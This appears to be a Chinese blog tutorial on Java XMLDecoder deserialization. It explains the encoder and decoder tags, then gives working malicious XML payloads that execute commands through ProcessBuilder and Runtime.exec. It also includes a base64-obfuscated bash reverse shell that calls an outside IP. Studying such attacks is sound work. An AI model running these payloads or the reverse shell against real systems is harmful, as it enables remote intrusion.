HacKerQWQ的博客空间

XMLDecoder反序列化漏洞

Word count: 778Reading time: 3 min
2021/06/27 Share

XMLDecoder和XMLEncoder

XMLEncoder类是互补替代ObjectOutputStream,并且可以以相同的方式用于产生的文本表示的JavaBean组件,而XMLDecoderXMLEncoder生成的xml文档中获取JavaBean组件

XMLEncoder用法

1
2
3
4
5
6
7
8
public class test {
public static void main(String[] args) throws Exception{
XMLEncoder a = new XMLEncoder(new BufferedOutputStream(new FileOutputStream("test.xml")));
String[] b = {"123"};
a.writeObject(b);
a.close();
}
}

生成如下文件test.xml
20210627220340

XMLDecoder用法

1
2
3
4
5
6
7
8
public class test {
public static void main(String[] args) throws Exception{
XMLDecoder j = new XMLDecoder(new BufferedInputStream(new FileInputStream("test.xml")));
Object result = j.readObject();
System.out.println(result);
j.close();
}
}

控制台输出对象如下
20210627220521

标签说明

  • string标签

test,test 字符串的在XML中表示方式为<string>test.test</string>

  • object标签

通过 标签表示对象, class 属性指定具体类(用于调用其内部方法), method 属性指定具体方法名称,比如调用Runtime.getRuntime()应该表示如下XML

1
2
<object class="java.lang.Runtime" method="getRuntime">
</object>
  • void标签

通过 void 标签表示函数调用、赋值等操作, method 属性指定具体的方法名称。 JButton b = new JButton();b.setText("Hello, world"); 对应的XML文档:

1
2
3
4
5
<object class="javax.swing.JButton">
<void method="setText">
<string>Hello,xml</string>
</void>
</object>
  • array标签

通过 array 标签表示数组, class 属性指定具体类,内部 void 标签的 index 属性表示根据指定数组索引赋值。String[] s = new String[3];s[1] = “Hello,xml”; 对应的XML文档:

1
2
3
4
5
<array class="java.lang.String" length="3">
<void index="1">
<string>Hello,xml</string>
</void>
</array>

XMLDecoder反序列化漏洞

简介

根据XMLDecoder解析XML并且运行代码调用方法的机制,我们可以构造恶意XML让其解析并且执行

利用

这里调用ProcesserBuilder("cmd").start()执行命令,构造xml如下

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_291" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>calc</string>
</void>
</array>
<void method="start"></void>
</object>
</java>

也可以用Runtime.getRuntime().exec()执行命令

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_291" class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="1">
<void index="0">
<string>calc</string>
</void>
</array>
</void>
</object>
</java>

XML被XMLDecoder解析执行,结果如下
20210627221529

  • 每个数组array用于制造命令间的空格
  • 反弹shell
    1
    {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMTguMTk1LjE0OS41MC83NTc1IDA+JjEn}|{base64,-d}|{bash,-i}
    此处的花括号{}用于将字符串分开,即{echo,1}等价于echo 1

工具

github上的项目XMLDecoder-payload-generator可以自动生成payload
20210627222614

分析

过几天再补,先留个别人的链接
https://blog.csdn.net/SKI_12/article/details/85058040

参考链接

CATALOG
  1. 1. XMLDecoder和XMLEncoder
    1. 1.1. XMLEncoder用法
    2. 1.2. XMLDecoder用法
    3. 1.3. 标签说明
  2. 2. XMLDecoder反序列化漏洞
    1. 2.1. 简介
    2. 2.2. 利用
    3. 2.3. 工具
    4. 2.4. 分析
  3. 3. 参考链接